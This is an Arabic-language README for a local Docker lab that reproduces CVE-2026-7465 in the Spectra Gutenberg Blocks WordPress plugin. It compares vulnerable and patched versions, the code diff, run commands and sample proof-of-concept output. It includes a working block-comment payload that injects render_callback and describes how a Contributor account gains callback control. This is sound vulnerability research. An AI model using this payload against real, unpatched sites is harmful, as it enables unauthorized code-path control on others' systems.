
مختبر Docker محلي لتحليل وإعادة إنتاج CVE-2026-7465 في إضافة Spectra Gutenberg Blocks لـ WordPress. يقارن بين الإصدارات الضعيفة والمصححة مع إثبات مفهوم بأقل ضرر يوضح حقن render_callback.
مختبر Docker محلي لتحليل وإعادة إنتاج CVE-2026-7465 في إضافة ووردبريس Spectra Gutenberg Blocks (ultimate-addons-for-gutenberg).
يقارن هذا المختبر بين:
vuln: Spectra 2.19.25patched: Spectra 2.19.26الإثبات (Proof) مصمَّم ليكون الأقل ضررًا عمدًا. فهو لا ينفّذ أوامر شل، ولا يرفع ملفات، ولا ينشئ مستخدمين، ولا يعدّل الحاوية مباشرة. كما ينشئ الـ PoC مسودة مقال مؤقتة في ووردبريس، ويفحص سلوك عرض الكتل، ثم يحذف المسودة.
CVE-2026-7465 هي ثغرة في إضافة Spectra Gutenberg Blocks يمكن من خلالها تمرير سمات كتل Gutenberg التي يتحكم بها المستخدم إلى وسائط تسجيل كتل ووردبريس.
في النسخة القابلة للاستغلال، تسجّل Spectra ديناميكيًا كتل uagb/* المُحلَّلة باستخدام سمات الكتل المأخوذة من محتوى المقالات:
$registry->register( $block['blockName'], $block['attrs'] );
نظرًا لأن مستخدمًا بدور Contributor (مساهم) يمكنه إنشاء محتوى مقالات يحتوي على تعليقات كتل Gutenberg، فإن مستخدمًا مصادَقًا بمستوى Contributor يمكنه التأثير على وسائط التسجيل مثل render_callback.
تعالج النسخة 2.19.26 المشكلة بتسجيل الكتلة باستخدام مصفوفة وسائط فارغة:
$registry->register( $block['blockName'], array() );
يمنع هذا تحوّل سمات الكتل المتحكم بها من المحتوى إلى خيارات تسجيل كتل PHP.
المنتج:
Spectra Gutenberg Blocks
WordPress plugin slug: ultimate-addons-for-gutenberg
النسخ المستخدمة في هذا المختبر:
vulnerable: 2.19.25
patched: 2.19.26
ينص سجل تغييرات WordPress.org للنسخة 2.19.26 على أن التحديث عالج خطأً أمنيًا، وينسب الفضل إلى Wordfence في الإبلاغ المسؤول.
تقع المنطقية البرمجية القابلة للاستغلال في:
classes/class-uagb-init-blocks.php
يتحقق الكود القابل للاستغلال مما إذا كان اسم الكتلة المُحلَّل يحتوي على مساحة الاسم uagb/. وإذا لم تكن الكتلة مسجّلة بالفعل، فإنه يسجّلها ديناميكيًا.
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], $block['attrs'] );
}
}
المشكلة تكمن في الوسيط الثاني:
$block['attrs']
في Gutenberg، يمكن تخزين سمات الكتل داخل محتوى المقالات، على سبيل المثال:
<!-- wp:uagb/example {"render_callback":"maybe_serialize"} /-->
يمكن لمستخدم بدور Contributor إنشاء محتوى مسودات مقالات. لذلك، يمكن للمهاجم التأثير على $block['attrs'].
عند تمرير هذه السمات إلى WP_Block_Type_Registry::register()، فإنها تصبح وسائط تسجيل للكتلة. ومن بين وسائط التسجيل الحساسة:
render_callback
ينتج عن هذا بدائية تحكم في الاستدعاء (callback-control primitive).
في 2.19.26، ما تزال Spectra تسجّل اسم كتلة uagb/* المُحلَّل، لكنها لم تعد تمرّر سمات يتحكم بها المحتوى كوسائط تسجيل:
if ( ! empty( $block['blockName'] ) && strpos( $block['blockName'], 'uagb/' ) !== false ) {
$registry = WP_Block_Type_Registry::get_instance();
if ( ! $registry->is_registered( $block['blockName'] ) ) {
$registry->register( $block['blockName'], array() );
}
}
التغيير المهم هو:
- $registry->register( $block['blockName'], $block['attrs'] );
+ $registry->register( $block['blockName'], array() );
يزيل هذا سمات الكتل التي يتحكم بها المهاجم من مسار تسجيل الكتل.
maybe_serializeلا يستخدم الـ PoC استدعاءات PHP خطيرة مثل system أو exec أو shell_exec أو passthru.
بدلًا من ذلك، يستخدم:
maybe_serialize
محتوى كتلة الإثبات هو:
<!-- wp:uagb/cve-2026-7465-lab {"render_callback":"maybe_serialize"} /-->
<!-- wp:uagb/cve-2026-7465-lab {"lab_marker":"CVE_2026_7465_LEAST_HARM_CALLBACK_MARKER","proof":"least-harm"} /-->
السلوك المتوقع:
vulnerable:
render_callback from block attrs is accepted
marker appears in rendered content
patched:
render_callback from block attrs is ignored
marker does not appear in rendered content
يثبت هذا السلوك القابل للاستغلال دون تنفيذ أوامر أو كتابة ملفات.
الخدمات:
db_vuln MariaDB for vulnerable WordPress
db_patched MariaDB for patched WordPress
vuln WordPress + Spectra 2.19.25
patched WordPress + Spectra 2.19.26
seed_vuln one-shot WordPress setup for vulnerable site
seed_patched one-shot WordPress setup for patched site
المنافذ المحلية:
http://127.0.0.1:8181 -> vulnerable WordPress
http://127.0.0.1:8182 -> patched WordPress
مستخدم ووردبريس المُهيَّأ:
username: contributor
password: contributorpass123!
role: contributor
يعمل الـ PoC عبر HTTP فقط. يتفاعل مع ووردبريس من خلال تسجيل الدخول وطلبات REST API.
.
├── docker-compose.yml
├── patched
│ └── Dockerfile
├── poc
│ └── poc.py
├── scripts
│ └── seed-wordpress.sh
├── vuln
│ └── Dockerfile
ابدأ من بيئة نظيفة:
docker compose down -v --remove-orphans
docker compose up -d --build
تحقق من الحاويات:
docker compose ps
افحص سجلات التهيئة (seed):
docker compose logs seed_vuln seed_patched
النتيجة المتوقعة للتهيئة:
[+] seed vuln: done
[+] seed patched: done
اختبر الهدف القابل للاستغلال:
python3 poc/poc.py -t http://127.0.0.1:8181
الحكم المتوقع للنسخة القابلة للاستغلال:
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
اختبر الهدف المُعالَج:
python3 poc/poc.py -t http://127.0.0.1:8182
الحكم المتوقع للنسخة المُعالَجة:
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8181
[INFO] fingerprinting target
spectra_stable_tag: 2.19.25
spectra_changelog_latest: 2.19.25
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=16
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: True
rendered_length: 227
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
VULNERABLE_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=16
[OK] cleanup complete
[SCOPE] local-only | HTTP-only | least-harm | no shell | no file write
[TARGET] http://127.0.0.1:8182
[INFO] fingerprinting target
spectra_stable_tag: 2.19.26
spectra_changelog_latest: 2.19.26
[INFO] logging in as contributor
[OK] login successful
[INFO] collecting REST nonce
[INFO] nonce candidates found: 4
[OK] validated REST nonce
[INFO] creating temporary draft post
[OK] created draft post id=14
[INFO] fetching rendered content
[EVIDENCE]
raw_contains_marker: True
rendered_contains_marker: False
rendered_length: 1
proof_callback: maybe_serialize
synthetic_block: uagb/cve-2026-7465-lab
[VERDICT]
PATCHED_BEHAVIOR_OBSERVED
[INFO] cleaning up draft post id=14
[OK] cleanup complete
المقارنة المهمة هي:
raw_contains_marker
rendered_contains_marker
يجب أن يُظهر كل من الهدفين القابل للاستغلال والمُعالَج:
raw_contains_marker: True
مما يؤكد أنه تم حفظ نفس محتوى الكتلة بنجاح في مسودة مقال مؤقتة.
الفرق يظهر في المخرجات المعروضة (rendered output):
vulnerable:
rendered_contains_marker: True
patched:
rendered_contains_marker: False
يوضح هذا أن النسخة القابلة للاستغلال قبلت render_callback المتحكم به من المحتوى، بينما لم تقبله النسخة المُعالَجة.
أوقف وأزل الحاويات والشبكات ووحدات التخزين:
docker compose down -v --remove-orphans
أزل ذاكرة التخزين المؤقت لـ Python إن وُجدت:
rm -rf poc/__pycache__
هذا المستودع مخصص لأغراض البحث الأمني المحلي والعرض المهني فقط.
الـ PoC:
لا تشغّل هذا ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها.
صفحة الإضافة على WordPress.org: Spectra Gutenberg Blocks - Website Builder for the Block Editor
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/
سجل التغييرات على WordPress.org: تحديث أمني 2.19.26 - Monday, 4th May 2026 يُنسب إلى Wordfence
https://wordpress.org/plugins/ultimate-addons-for-gutenberg/#developers
WordPress Plugin SVN / Trac
https://plugins.trac.wordpress.org/browser/ultimate-addons-for-gutenberg/